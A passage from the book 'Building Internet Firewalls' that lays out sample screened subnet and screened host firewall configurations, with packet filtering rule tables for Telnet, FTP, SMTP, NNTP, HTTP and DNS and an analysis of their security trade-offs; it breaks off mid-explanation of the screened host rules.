The only real question is whether to direct the outgoing mail from the internal machines to the internal mail server or to the bastion host. Directing it to the internal mail server has the same advantages for incoming mail, but the advantages are much smaller. Sending outgoing mail presents little risk to start with, so reducing the risk isn't worth much. Sending outgoing mail also doesn't involve configurations that change often enough to make it worrisome to maintain the bastion host. On the other hand, the cost of going through the internal mail server - in complexity, possible points of failure, and delay - is just as high for outgoing mail as for incoming mail. It no longer looks like an attractive bargain, so we'll direct the outgoing mail to the bastion host without using the internal mail server as an intermediary.

We'll set up SMTP, as outlined in Chapter 8, with the bastion host acting as a middleman for incoming and outgoing mail. Here's what to do:

  • Publish DNS MX records that direct incoming mail for the site to the bastion host.

  • Configure internal machines to send all outgoing mail to the bastion host.

  • Configure the bastion host to send all incoming mail to a single internal mail server and to send outgoing mail directly to destination machines.

For this example, we're going to assume there is a single internal mail server for incoming mail, and that internal machines send their outgoing mail directly to the bastion host (rather than indirectly via the mail server).

9.1.1.4 NNTP

As we've discussed in Chapter 8, the most practical way to set up NNTP across a firewall is to allow your NNTP service provider(s) to talk directly to your internal Usenet news host, and vice versa. We'd need an overwhelming reason to do something else, and it's hard to imagine one. Even if we didn't have an existing internal news host, building one isn't any harder than building a news server on the bastion host, and it's safer by a vast margin. News servers fail with dreary regularity; while the problems usually aren't security-related, you still don't want to install anything high-maintenance on a bastion host.

For this example, we're going to assume a single external NNTP newsfeed.

9.1.1.5 HTTP

As with the other services, for HTTP we can use either packet filtering or proxy servers to provide service to internal clients. Packet filtering will allow our users to access HTTP servers only on standard ports; proxying will allow them to reach all HTTP servers. Which approach should we take?

For Telnet and FTP, the major drawback of proxying was that it required special clients; for HTTP, though, standard browsers support HTTP proxying. Proxying will increase configuration overhead, but that price seems fair for the increased abilities it offers. On the other hand, we've already decided to allow internal hosts to create outgoing connections to any port at or above 1024 in order to allow passive-mode FTP directly from internal hosts to external hosts. That will allow access to almost any HTTP server (any one using a port at or above 1024, anyway). Using pure packet filtering would lose us only HTTP servers at nonstandard ports below 1024, and those ports are all supposed to be reserved anyway.

If we use the CERN HTTP server as our proxy server, the server can also cache Web pages. Doing so can significantly improve performance for all of the following:

HTTP clients

They obtain pages from the cache over the internal network, rather than from the original server over our Internet connection, which is probably much slower.

Non-HTTP clients

The HTTP clients won't be using so much of the bandwidth of our Internet connection.

HTTP servers at other sites

They will only get one request from our site for a given page, rather than multiple requests.

The CERN server will also allow us to provide HTTP service to external sites, so we'll take advantage of that to publish our site's own public WWW pages.

HTTP proxying is also trivial to add once you have other things proxied via SOCKS or TIS FWTK. If we had SOCKS running, it would be very tempting to simply proxy through it, because SOCKS is one of the systems that many of the browsers support. All of the proxy servers we've already decided to run are part of the TIS FWTK, however, and we'd have to install SOCKS just for HTTP if we wanted to use it. If we used the TIS FWTK HTTP proxy, we'd have to get the users to modify URLs they use. In this case, the proxy servers wouldn't be able to cut and paste out of their electronic mail when people tell them about cool new things. Neither SOCKS nor TIS FWTK makes an attractive option in this situation.

However, both proxying (through the CERN server) and packet filtering appear to be attractive and reasonable choices. Proxying would definitely be preferable if we weren't already providing passive-mode FTP directly (which gives our users the ability to talk to servers on any TCP port above 1023). On the other hand, packet filtering would definitely be preferable if we wanted to use clients that didn't come with built-in support for proxying, or if we wanted not to provide an HTTP server and had no other services being proxied.

For this example, we're going to assume that we're providing HTTP service to internal clients via a CERN proxy server running on the bastion host, and that we're using the same server to publish our public WWW pages to the world.

9.1.1.6 DNS

As discussed in Chapter 8, DNS across a firewall is best provided with a pair of servers: one on the bastion host, the other on an internal host. Like NNTP, DNS presents a situation in which the number of rational solutions is clearly limited. We need to decide whether to use separate internal and external servers to do information hiding, or whether we should allow the external world to see all of our host data. By deciding to allow direct passive-mode FTP, we've already made that decision indirectly. Direct passive-mode FTP would require intricate DNS setup to support information hiding and still provide valid data for the internal hosts that are FTP clients.

For this example, we're going to assume the DNS server on the bastion host is a secondary server for our domain, and the primary server is on an internal host. We're not going to do any DNS information hiding.

9.1.2 Packet Filtering Rules

Based on the configuration decisions we've made in the previous sections, let's look at the packet filtering rules necessary to support this configuration. We assume an "ideal" router (as discussed in "Choosing a Packet Filtering Router" in Chapter 6). If our router were less than ideal in terms of capabilities, we'd need to modify these rules accordingly, probably at the cost of security. We might have to rethink several crucial decisions entirely. For example, if we couldn't filter on the ACK bit, direct outbound passive-mode FTP would no longer be acceptably safe, and a lot of our other decisions have used that as a major factor. (See Chapter 6 for a full discussion of packet filtering capabilities, and the implications of not having particular capabilities.)

In the packet filtering rules presented below, we assume that the filtering system:

  • Can distinguish between incoming and outgoing packets

  • Can filter on source address, destination address, packet type (TCP or UDP), source port, and destination port

  • Can filter on whether or not the ACK bit is set (for TCP packets)

  • Applies rules in the order listed

9.1.2.1 Interior Router

The purpose of the interior router is to protect the internal network from the Internet and from your own bastion host. The interior router needs the following rules to support the outlined configuration. Explanations of each rule follow the table.

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Address | Address | tocol | Port | Port | Set | Action
Spoof | In | Internal | Any | Any | Any | Any | Any | Deny
Telnet-1 | Out | Internal | Any | TCP | >1023 | 23 | Any | Permit
Telnet-2 | In | Any | Internal | TCP | 23 | >1023 | Yes | Permit
FTP-1 | Out | Internal | Any | TCP | >1023 | 21 | Any | Permit
FTP-2 | In | Any | Internal | TCP | 21 | >1023 | Yes | Permit
FTP-3 | Out | Internal | Any | TCP | >1023 | >1023 | Any | Permit
FTP-4 | In | Any | Internal | TCP | >1023 | >1023 | Yes | Permit
FTP-5 | Out | Internal | Bastion | TCP | >1023 | 21 | Any | Permit
FTP-6 | In | Bastion | Internal | TCP | 21 | >1023 | Yes | Permit
FTP-7 | In | Bastion | Internal | TCP | Any | 6000-6003 | Any | Deny
FTP-8 | In | Bastion | Internal | TCP | >1023 | >1023 | Any | Permit
FTP-9 | Out | Internal | Bastion | TCP | >1023 | >1023 | Yes | Permit
SMTP-1 | Out | Internal | Bastion | TCP | >1023 | 25 | Any | Permit
SMTP-2 | In | Bastion | Internal | TCP | 25 | >1023 | Yes | Permit
SMTP-3 | In | Bastion | Internal SMTP server | TCP | >1023 | 25 | Any | Permit
SMTP-4 | Out | Internal SMTP server | Bastion | TCP | 25 | >1023 | Yes | Permit
NNTP-1 | Out | Internal NNTP server | NNTP feed server | TCP | >1023 | 119 | Any | Permit
NNTP-2 | In | NNTP feed server | Internal NNTP server | TCP | 119 | >1023 | Yes | Permit
NNTP-3 | In | NNTP feed server | Internal NNTP server | TCP | >1023 | 119 | Any | Permit
NNTP-4 | Out | Internal NNTP server | NNTP feed server | TCP | 119 | >1023 | Yes | Permit
HTTP-1 | Out | Internal | Bastion | TCP | >1023 | 80 | Any | Permit
HTTP-2 | In | Bastion | Internal | TCP | 80 | >1023 | Yes | Permit
DNS-1 | Out | Internal DNS server | Bastion | UDP | 53 | 53 | [1] | Permit
DNS-2 | In | Bastion | Internal DNS server | UDP | 53 | 53 | [1] | Permit
DNS-3 | Out | Internal DNS server | Bastion | TCP | >1023 | 53 | Any | Permit
DNS-4 | In | Bastion | Internal DNS server | TCP | 53 | >1023 | Yes | Permit
DNS-5 | In | Bastion | Internal DNS server | TCP | >1023 | 53 | Any | Permit
DNS-6 | Out | Internal DNS server | Bastion | TCP | 53 | >1023 | Yes | Permit
Default-1 | Out | Any | Any | Any | Any | Any | Any | Deny
Default-2 | In | Any | Any | Any | Any | Any | Any | Deny

[1] UDP packets do not have ACK bits.

Here is some additional information about each set of rules in this table:

Spoof

Blocks incoming packets that claim to have internal IP addresses (that is, forged packets presumably sent by an attacker).

Telnet-1 and Telnet-2

Allow outgoing Telnet connections.

FTP-1 and FTP-2

Allow outgoing connections to FTP servers, for use by passive-mode internal clients that are interacting with those servers directly.

FTP-3 and FTP-4

Allow the FTP data channel connections from passive-mode internal clients to external FTP servers. Note that these rules actually allow all connections from internal TCP ports above 1023 to external TCP ports above 1023. That may be more than you want to allow, but there's no way to cover passive-mode FTP with anything less broad, and connections are at least restricted to those opened from the inside.

FTP-5 and FTP-6

Allow normal (nonpassive-mode) internal FTP clients to open an FTP command channel to the proxy FTP server on the bastion host. Note that these rules are actually redundant if you have rules FTP-1 and FTP-2 in place earlier in the list, because "Bastion" as a source or destination (covered by rules FTP-5 and FTP-6) is a subset of "All" (covered by rules FTP-1 and FTP-2). Having these redundant rules is going to impose a slight performance cost, but makes the rule set easier to understand. It also makes it possible to change rules FTP-1 and FTP-2 (e.g., if you decide you don't want to support passive-mode clients) without accidentally breaking normal-mode client access to the proxy server.

FTP-7 through FTP-9

Allow FTP data connections from the proxy server on the bastion host to nonpassive internal clients. The FTP-7 rule prevents an attacker who has gained access to the bastion host from attacking internal X11 servers via the hole created by rules FTP-8 and FTP-9. If you have other servers internally listening for connections on TCP ports above 1023, you should add similar rules for them. Note that trying to list things that should be denied (as in rule FTP-7) is generally a losing proposition, because your list will almost always be incomplete somehow (e.g., because you overlooked or didn't know about some internal service, or because the service was added after the filters were established). However, it's the best you can do in this situation to support normal-mode FTP clients.

SMTP-1 and SMTP-2

Allow outgoing mail from internal hosts to the bastion host.

SMTP-3 and SMTP-4

Allow incoming mail from the bastion host to your internal mail server.

NNTP-1 and NNTP-2

Allow outgoing Usenet news from your news server to your service provider's news server.

NNTP-3 and NNTP-4

Allow incoming Usenet news from your service provider's news server to your news server.

HTTP-1 and HTTP-2

Allow internal HTTP clients to connect to the HTTP proxy server on your bastion host.

DNS-1

Allows UDP-based DNS queries and answers from the internal DNS server to the bastion host DNS server.

DNS-2

Allows UDP-based DNS queries and answers from the bastion host DNS server to the internal DNS server.

DNS-3 and DNS-4

Allow TCP-based DNS queries from the bastion host DNS server to the internal DNS server, as well as answers to those queries. Also allow zone transfers in which the bastion host DNS server is the secondary server and the internal DNS server is the primary server.

DNS-5 and DNS-6

Allow TCP-based DNS queries from the internal DNS server to the bastion host DNS servers, as well as answers to those queries. Also allow zone transfers in which the bastion host DNS server is the primary server and the internal DNS server is the secondary server.

Default-1 and Default-2

Block all packets not specifically allowed by one of the preceding rules.

How you translate these abstract rules into specific rules for your particular filtering system depends on the syntax used by your system. Some systems allow you to enter the rules as a single table, much as we show here in this table. Other systems require you to specify rules for incoming and outgoing packets in separate rule sets. Splitting these rules between incoming and outgoing packets is not a problem, as long as you preserve the order for rules of each type; that is, as long as all the incoming rules stay in the same order relative to each other, and all the outgoing rules stay in the same order relative to each other.

9.1.2.2 Exterior Router

The purpose of the exterior router is twofold:

  • To connect the perimeter net (and thus your site) to the outside world

  • To protect the perimeter net and the internal net against the outside world

In many circumstances, only the former purpose is possible, because the exterior router is often provided and managed by your network service provider. That provider may be unable or unwilling to set up and maintain packet filtering rules on the exterior router (and unable or unwilling to let you do it yourself).

If you can set up filtering on the exterior router, it's a good idea to do so. If nothing else, this can serve as a backup to some of the filtering on the interior router. For this example, you would need to establish the following rules:

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Address | Address | tocol | Port | Port | Set | Action
Spoof-1 | In | Internal | Any | Any | Any | Any | Any | Deny
Spoof-2 | In | Perim. | Any | Any | Any | Any | Any | Deny
Telnet-1 | Out | Internal | Any | TCP | >1023 | 23 | Any | Permit
Telnet-2 | In | Any | Internal | TCP | 23 | >1023 | Yes | Permit
FTP-1 | Out | Internal | Any | TCP | >1023 | 21 | Any | Permit
FTP-2 | In | Any | Internal | TCP | 21 | >1023 | Yes | Permit
FTP-3 | Out | Internal | Any | TCP | >1023 | >1023 | Any | Permit
FTP-4 | In | Any | Internal | TCP | >1023 | >1023 | Yes | Permit
FTP-5 | Out | Bastion | Any | TCP | >1023 | 21 | Any | Permit
FTP-6 | In | Any | Bastion | TCP | 21 | >1023 | Yes | Permit
FTP-7 | In | Any | Bastion | TCP | 20 | 6000-6003 | Any | Deny
FTP-8 | In | Any | Bastion | TCP | 20 | >1023 | Any | Permit
FTP-9 | Out | Bastion | Any | TCP | >1023 | 20 | Yes | Permit
FTP-10 | In | Any | Bastion | TCP | >1023 | 21 | Any | Permit
FTP-11 | Out | Bastion | Any | TCP | 21 | >1023 | Yes | Permit
FTP-12 | Out | Bastion | Any | TCP | 20 | >1023 | Any | Permit
FTP-13 | In | Any | Bastion | TCP | >1023 | 20 | Yes | Permit
FTP-14 | In | Any | Bastion | TCP | >1023 | >1023 | Any | Permit
FTP-15 | Out | Bastion | Any | TCP | >1023 | >1023 | Any | Permit
SMTP-1 | Out | Bastion | Any | TCP | >1023 | 25 | Any | Permit
SMTP-2 | In | Any | Bastion | TCP | 25 | >1023 | Yes | Permit
SMTP-3 | In | Any | Bastion | TCP | >1023 | 25 | Any | Permit
SMTP-4 | Out | Bastion | Any | TCP | 25 | >1023 | Yes | Permit
NNTP-1 | Out | Internal NNTP server | NNTP feed server | TCP | >1023 | 119 | Any | Permit
NNTP-2 | In | NNTP feed server | Internal NNTP server | TCP | 119 | >1023 | Yes | Permit
NNTP-3 | In | NNTP feed server | Internal NNTP server | TCP | >1023 | 119 | Any | Permit
NNTP-4 | Out | Internal NNTP server | NNTP feed server | TCP | 119 | >1023 | Yes | Permit
HTTP-1 | Out | Bastion | Any | TCP | >1023 | Any | Any | Permit
HTTP-2 | In | Any | Bastion | TCP | Any | >1023 | Yes | Permit
HTTP-3 | In | Any | Bastion | TCP | >1023 | 80 | Any | Permit
HTTP-4 | Out | Bastion | Any | TCP | 80 | >1023 | Yes | Permit
DNS-1 | Out | Bastion | Any | UDP | 53 | 53 | [2] | Permit
DNS-2 | In | Any | Bastion | UDP | 53 | 53 | [2] | Permit
DNS-3 | In | Any | Bastion | UDP | Any | 53 | [2] | Permit
DNS-4 | Out | Bastion | Any | UDP | 53 | Any | [2] | Permit
DNS-5 | Out | Bastion | Any | TCP | >1023 | 53 | Any | Permit
DNS-6 | In | Any | Bastion | TCP | 53 | >1023 | Yes | Permit
DNS-7 | In | Any | Bastion | TCP | >1023 | 53 | Any | Permit
DNS-8 | Out | Bastion | Any | TCP | 53 | >1023 | Yes | Permit
Default-1 | Out | Any | Any | Any | Any | Any | Any | Deny
Default-2 | In | Any | Any | Any | Any | Any | Any | Deny

[2] UDP packets do not have ACK bits.

Here is some additional information about each set of rules in this table.

Spoof-1 and Spoof-2

Block incoming packets that claim to have internal or perimeter net IP addresses - that is, forged packets presumably sent by an attacker. Rule Spoof-1 is the same as the Spoof rule on the interior router; rule Spoof-2 is unique to the exterior router.

Telnet-1 and Telnet-2

Allow outgoing Telnet connections. These are identical to the corresponding rules on the interior router (as are all rules on the exterior router that involve internal and external hosts, but nothing on the perimeter net).

FTP-1 through FTP-4

Allow outgoing passive-mode FTP connections and are identical to the corresponding rules on the interior router.

FTP-5 and FTP-6

Allow the FTP proxy server on the bastion host to open an FTP command channel to FTP servers on the Internet. Note that, unlike the corresponding rules on the interior router, these rules are not redundant if you have rules FTP-1 and FTP-2 in place earlier in the list. Why? Because "Bastion" as a source or destination (covered by rules FTP-5 and FTP-6) is not a subset of "Internal" (covered by rules FTP-1 and FTP-2).

FTP-7 through FTP-9

Allow FTP data connections from external FTP servers to the proxy server on the bastion host. The FTP-7 rule prevents an attacker from attacking X11 servers on the bastion host via the hole created by rules FTP-8 and FTP-9. If you have other servers on the bastion host listening for connections on TCP ports above 1023, you should add similar rules for them. Note that trying to list things that should be denied (as in rule FTP-7) is a losing proposition, because your list will almost always be incomplete, e.g., because you overlooked or didn't know about some service, or because the service was added after the filters were established. However, it's the best you can do in this situation, if you must support normal-mode FTP.

FTP-10 through FTP-15

Allow passive- and normal-mode FTP from external clients to the anonymous FTP server on the bastion host. There are no equivalent rules on the internal router because there are no FTP servers on the internal network that external clients can access.

SMTP-1 and SMTP-2

Allow outgoing mail from the bastion host to the outside world.

SMTP-3 and SMTP-4

Allow incoming mail from the outside world to the bastion host.

NNTP-1 to NNTP-4

Allow Usenet news both ways between your Usenet news server and your service provider's news server. These rules are identical to the corresponding rules on the interior router.

HTTP-1 and HTTP-2

Allow the bastion host HTTP proxy server to connect to the HTTP servers on any machine on the Internet. Actually, these rules allow any TCP client program on the bastion host using a port above 1023 to contact any server program on any host on the Internet using any port. This is done so that the HTTP proxy server can contact HTTP servers on nonstandard port numbers (i.e., other than port 80). As broad as these rules are, it's important that they allow only outgoing connections, by examining the ACK bit.

HTTP-3 and HTTP-4

Allow external clients to contact the bastion host HTTP server. There are no equivalent rules on the internal router because there are no HTTP servers on the internal network that external clients can access.

DNS-1

Allows UDP-based DNS queries and answers from the bastion host DNS server to DNS servers in the outside world.

DNS-2

Allows UDP-based DNS queries and answers from Internet DNS servers to the bastion host DNS server. Note that rule DNS-2 (which allows server-to-server communication) is redundant if rule DNS-3 (which allows client-to-server communication) is present.

DNS-3 and DNS-4

Allow external UDP-based DNS clients to query the DNS server on the bastion host and it to answer them.

DNS-5 and DNS-6

Allow TCP-based DNS queries from the bastion host to DNS servers on the Internet, as well as answers to those queries. Also allow zone transfers in which the bastion host DNS server is the secondary server and an external DNS server is the primary server.

DNS-7 and DNS-8

Allow TCP-based DNS queries from the outside world to the bastion host DNS server, as well as answers to those queries. Also allow zone transfers in which the bastion host DNS server is the primary server and an external DNS server is the secondary server.

Default-1 and Default-2

Block all packets not specifically allowed by one of the preceding rules, just as the corresponding rules do on the interior router.

9.1.3 Other Configuration Work

In addition to setting up the packet filtering rules, we need to do various other kinds of configuration work, as described below.

On all of the internal machines

Configure electronic mail so that it gets sent to the bastion host. We're also going to need to install passive mode FTP clients if they're available.

On the internal mail server

Install the smap and smapd programs from the TIS FWTK and an up-to-date mailer release so that we have a trusted SMTP server.

On the internal (primary) name server

Put in an MX record for every A record, pointing incoming mail to the bastion host; further MX records may be necessary for the internal mail server to direct the traffic internally. We also need to configure the bastion host as a recognized secondary name server, and remove any TXT or HINFO records we don't want the external world to see (i.e., pretty much any records the external world could possibly make any sense of).

On the bastion host

Do all the standard bastion host configuration (removing unused servers, adding logging, and so on), as discussed in Chapter 5. We need to install TIS FWTK and configure FTP proxying, smap and smapd, and anonymous FTP service from it. We also need to install the CERN HTTP server and configure it to do proxying, as well as to serve the HTTP pages we want to show the outside world.

9.1.4 Analysis

Just how good a firewall is this one we've configured? Let's consider it in relation to the strategies and principles discussed in Chapter 3, Security Strategies.

9.1.4.1 Least privilege

The principle of least privilege is that an object (a program, a person, a router, or whatever) should have the minimum privileges necessary to perform its assigned task and no more. A corollary of this principle is that systems should be configured so they require as little privilege as possible. You can see this principle in action in several places in this setup. For example, configuring SMTP so that outgoing mail goes out via the bastion host (rather than directly to remote systems) is an application of least privilege, because it lets you control more tightly how internal systems connect to external systems. (In this case, it makes it unnecessary for internal systems to talk directly to external systems in order to provide this service.)

9.1.4.2 Defense in depth

The principle of defense in depth is something else that you can see in the setup we've described. For example, internal hosts are protected from the outside world by the exterior and interior routers. Similarly, the bastion host is protected against attack both by its own careful configuration and by the exterior router.

Several times, we've explicitly made decisions to increase the depth of defense. For example, that's one of the main purposes of using an internal mail server between the bastion host and the internal clients. The interior and exterior routers often deny the same packets. Defense in depth is almost the only reason for having the interior router deny packets that it supposedly can't receive (because they've already been denied by the exterior router).

9.1.4.3 Choke point

The principle of a choke point is clearly applied in our setup, because everything between internal clients and the Internet comes through the perimeter net. Further, much of it comes through the bastion host, via proxies. Only Telnet and FTP are provided in ways that leave them relatively open. These services could have been better choked by using proxies everywhere.

9.1.4.4 Weakest link

There is no single obvious weak link to attack in this configuration. Probably the weakest link is the bastion host, but even a completely compromised bastion host isn't going to help an attacker when it comes to attacking the internal systems; there just aren't that many connections allowed from the bastion host to internal systems. Some of the weakest links you can see remaining in this setup include proxy FTP and SMTP from the bastion host to the internal mail server.

The proxy FTP setup we've described would allow an attacker who has compromised the bastion host to attack servers on ports above 1023 (if there are any) on internal hosts. How can you address this vulnerability? Obtain and use only passive-mode FTP clients internally, don't run proxy FTP, and remove the rules allowing proxy FTP from the filters.

Similarly, the SMTP setup we've described would allow an attacker who has compromised the bastion host to attack your mail server via SMTP. How can you address this vulnerability? Improve the security of the SMTP server on your mail server, e.g., by using an up-to-date version of Sendmail, and by using the TIS FWTK smap package.

You can keep playing this game of thinking "If I were an attacker, what would I do?", and then addressing the problems you discover ad nauseam, or until you run out of time or money. At some point, though, you (or your management) will probably decide you've done enough (based on your own site's definition of "enough").

9.1.4.5 Fail-safe stance

You can see the principle of a fail-safe stance applied through the packet filtering rules. In general, the rules specify what you're going to allow, and deny everything else by default. This is a fail-safe approach, because if something unanticipated comes along (a new service, for example), it won't be allowed through your firewall; unless, of course, it mimics or is tunneled through some other service you do allow. The redundant router rules also provide a fail-safe against failure of one router or the other. If filtering accidentally or temporarily gets turned off on one router (causing it to pass all packets), the other still does most of the same filtering, at least as far as the outside world is concerned.

9.1.4.6 Universal participation

If this is our site's only connection to the Internet, we have involuntary universal participation; everybody has to go through the firewall to get to the Internet. Of course, we'd be much better off with voluntary universal participation, but that may require some user education about the goals of and the need for the security measures we're adopting.

To some extent, we're relying on voluntary universal participation. We've granted free Telnet and FTP access, and in the process we've allowed any outbound connection to ports at or above 1024 (which is plenty of rope for the users to hang us with). FTP is by no means the only service above 1024, and Telnet is a perfectly good client to use to get to many of them.

In particular, we've assumed that this is your sole connection to the Internet and that internal users aren't just going to bypass the firewall entirely by setting up their own Internet connections. All it takes is one joker with a modem, a PPP software package, and an outside phone line, and you too could have an unprotected back door into your network.

9.1.4.7 Diversity of defense

There are opportunities in this configuration to apply the principle of diversity of defense, e.g., using routers from different vendors for the interior and exterior packet filtering systems. Most sites will probably conclude that such an approach is not worth the hassle. However, even if you use similar or identical hardware, you still might get some diversity by having different people do at least the initial configuration of the different filtering systems, and then having them cross-check each other's work.

Using different SMTP servers on the internal mail server and the bastion host would be a fairly major advance in this configuration, because that's one of the main weak points of your setup. Even a less secure SMTP server on the internal mail server is arguably better than one that's going to yield to the exact same attack that just succeeded on the bastion host. The more vulnerable the SMTP server you're using, the more important an issue this is.

9.1.5 Conclusions

There are a lot of advantages offered by a scheme such as the one we've described in the sections above. The main potential disadvantages we can see are cost and complexity; but we don't think that the configuration we've presented is too expensive for most sites, and we think that it presents the minimum necessary level of complexity.

What if you really need to save some money? It would be feasible to construct a screened subnet architecture using a single three-interface router, instead of the pair of two-interface routers we've described above. The solution would be a little more complex, because you'd have to merge the two separate filtering sets described above, but doing so shouldn't be too difficult.

It would also be relatively easy to construct a more secure configuration with the same basic architecture. A less trusting site would force all Telnet and all FTP through proxies, which would allow much better logging and remove the nagging holes created by allowing every outbound connection to ports above 1024. Once you'd forced Telnet and FTP through proxies, you'd also find that DNS information hiding would be both more practical and more reasonable. However, the price of this increased security would be a more complex and fragile configuration, and one that presents more annoyance to the users.

It would also be possible to increase the services offered without major architecture changes. For example, incoming Telnet and incoming user FTP could be supported relatively easily for a few users on the bastion host or on a dedicated host on the screened network. Serious anonymous FTP service or HTTP service could be provided by configuring extra machines on the screened network. Similarly, you could scale up the firewall to support a second Internet connection or redundant bastion hosts to provide more reliable service or service for a much larger internal network.

Previous: 8.18 Analyzing Other Protocols | Building Internet Firewalls | Next: 9.2 Screened Host Architecture
8.18 Analyzing Other Protocols | Book Index | 9.2 Screened Host Architecture


[Chapter 9] 9.2 Screened Host Architecture

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 9.1 Screened Subnet Architecture Chapter 9
Two Sample Firewalls 		Next: 10. Authentication and Inbound Services

9.2 Screened Host Architecture

The screened host architecture, described in Chapter 4 and shown in Figure 9.2, is a lower-security, lower-cost alternative to the screened subnet architecture discussed in the previous sections. The screened host architecture is often used by very small sites that are facing significant cost constraints.

Figure 9.2: Screened host architecture

In a screened host architecture, there is no perimeter net, no interior router, and often no bastion host per se. (Obviously, there is a host that the outside world talks to, but this host is often not dedicated solely to that task.) What you have instead is a single router (most analogous to the exterior router in the dual-router screened subnet architecture) and a services host that provides Internet services to internal and external clients (and is often used for other tasks as well).

The router is there to protect and control access to the internal net, and the services host is there to interact with the outside world, much like a bastion host. We call it a services host, rather than a bastion host, because it's often fulfilling many other roles. For example, it's probably the mail server, Usenet news server, and DNS server for the site; it might possibly be a file server, print server, and so on, as well; it might even be the only machine the site has.

In this example, we're going to assume:

  • That the services host is the site's mail server, news server, and DNS server, but that it's not the only machine at the site.

  • As in the previous example, that internal users are trusted not to actively try to circumvent the firewall, and that we have no particular need to monitor or log their Internet activities.

  • Also as in the previous example, that you're using proper IP addresses: addresses that have been properly assigned to your site and that are being properly routed and advertised to the rest of the Internet by your service provider.

9.2.1 Service Configuration

How do we provide the basic Internet services with a screened host architecture?

9.2.1.1 Telnet

Telnet can be safely and conveniently provided through packet filtering. For this example, that's what we're going to do. We've discussed in the previous sections how proxying Telnet is usually too expensive for its benefits in a larger configuration; it's that much sillier here in the screened host architecture. Similarly, providing incoming Telnet is difficult in the larger configuration, and verges on the suicidal here, where compromising the services host instantly compromises the entire network. Therefore, we will not provide incoming Telnet service.

9.2.1.2 FTP

As in the screened subnet architecture, FTP can be safely and conveniently provided via packet filtering if our internal FTP clients support FTP's passive mode. We'll need to set up an FTP proxy server on the services host if we wish to support clients that can't use passive mode. We can support both passive- and normal-mode FTP clients, if needed, but doing so is not as likely at a smaller site. At smaller sites, it's better to do one or the other, rather than try to keep track of both. In this example, we'll do only passive mode.

Be aware that in order to use an FTP proxy server on your services host, your filtering router would have to allow TCP connections from port 20 on external systems to ports above 1023 on your services host. For a regular bastion host, this wouldn't be a problem, because nothing should be using such ports. For a services host that's also serving other purposes, however, that may not be true.

Incoming user FTP goes the same way as incoming Telnet in any configuration. Because we've already decided to deny incoming Telnet, we'll deny incoming user FTP as well.

As we've seen with the screened subnet architecture, incoming anonymous FTP is an acceptable risk when it's going to a bastion host. However, it's not an acceptable risk going to the services host, with confidential data and full access to the internal network right there. We will therefore deny it.

9.2.1.3 SMTP

In this architecture, there is probably only one good way to set up SMTP. Incoming mail should be directed (via DNS MX records) to the services host, and outgoing mail should go out via the services host. There really is no feasible alternative. As we've discussed above, it's never advisable to let incoming mail go directly to all of your internal machines. Also, once you're directing incoming mail through a single point, it's actually easier - not to mention safer - to route outgoing mail through there than to send it direct.

9.2.1.4 NNTP

As with SMTP, there is probably only one good way to set up NNTP in the screened host architecture, and that is to make another internal machine a Usenet news server and allow NNTP directly to it. We could, if forced to do so, make the services host a news server. However, it might be better to forgo news altogether, given how much of a load news places on a machine and how critical the services host is.

9.2.1.5 HTTP

As we've discussed in the previous example, HTTP can be provided directly via packet filtering or indirectly via a proxy server. However, it makes the most sense to provide HTTP indirectly via a caching proxy server such as the CERN HTTP server. There is one good reason for this: better performance due to caching.

For this example, we're going to assume we're providing HTTP service via a CERN proxy server running on the services host. Once again, we decide to deny service to external clients due to the risks (which are further compounded by the sensitive position of the services host).

9.2.1.6 DNS

As with most of the other services, there is really only one good place to put the DNS server in the screened host architecture: on the services host. For this example, we're going to assume that:

  • The services host is your primary DNS server.

  • You have an external DNS secondary server for your domain, e.g., one of your service provider's machines.

  • You're not going to do any DNS information hiding: you can't if the services host is your internal and external primary server.

9.2.2 Packet Filtering Rules

Let's look at the packet filtering rules necessary to support the screened host configuration we've described in the previous sections. As in the earlier example of the screened subnet architecture, we're going to assume an "ideal" router. The router needs the following rules to support the configuration we've outlined.

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Address | Address | tocol | Port | Port | Set | Action
Spoof | In | Internal | Any | Any | Any | Any | Any | Deny
Telnet-1 | Out | Internal | Any | TCP | >1023 | 23 | Any | Permit
Telnet-2 | In | Any | Internal | TCP | 23 | >1023 | Yes | Permit
FTP-1 | Out | Internal | Any | TCP | >1023 | 21 | Any | Permit
FTP-2 | In | Any | Internal | TCP | 21 | >1023 | Yes | Permit
FTP-3 | Out | Internal | Any | TCP | >1023 | >1023 | Any | Permit
FTP-4 | In | Any | Internal | TCP | >1023 | >1023 | Yes | Permit
SMTP-1 | Out | Services | Any | TCP | >1023 | 25 | Any | Permit
SMTP-2 | In | Any | Services | TCP | 25 | >1023 | Yes | Permit
SMTP-3 | In | Any | Services | TCP | >1023 | 25 | Any | Permit
SMTP-4 | Out | Services | Any | TCP | 25 | >1023 | Yes | Permit
NNTP-1 | Out | News server | NNTP feed server | TCP | >1023 | 119 | Any | Permit
NNTP-2 | In | NNTP feed server | News server | TCP | 119 | >1023 | Yes | Permit
NNTP-3 | In | NNTP feed server | News server | TCP | >1023 | 119 | Any | Permit
NNTP-4 | Out | News server | NNTP feed server | TCP | 119 | >1023 | Yes | Permit
HTTP-1 | Out | Services | Any | TCP | >1023 | Any | Any | Permit
HTTP-2 | In | Any | Services | TCP | Any | >1023 | Yes | Permit
DNS-1 | Out | Services | Any | UDP | 53 | 53 | [3] | Permit
DNS-2 | In | Any | Services | UDP | 53 | 53 | [3] | Permit
DNS-3 | In | Any | Services | UDP | Any | 53 | [3] | Permit
DNS-4 | Out | Services | Any | UDP | 53 | Any | [3] | Permit
DNS-5 | Out | Services | Any | TCP | >1023 | 53 | Any | Permit
DNS-6 | In | Any | Services | TCP | 53 | >1023 | Yes | Permit
DNS-7 | In | Any | Services | TCP | >1023 | 53 | Any | Permit
DNS-8 | Out | Services | Any | TCP | 53 | >1023 | Yes | Permit
Default-1 | Out | Any | Any | Any | Any | Any | Any | Deny
Default-2 | In | Any | Any | Any | Any | Any | Any | Deny

[3] UDP packets do not have ACK bits.

Here is some additional information about each set of rules in this table:

Spoof

Blocks incoming packets that claim to have internal IP addresses, that is, forged packets, presumably sent by an attacker.

Telnet-1 and Telnet-2

Allow outgoing Telnet connections.

FTP-1 through FTP-4

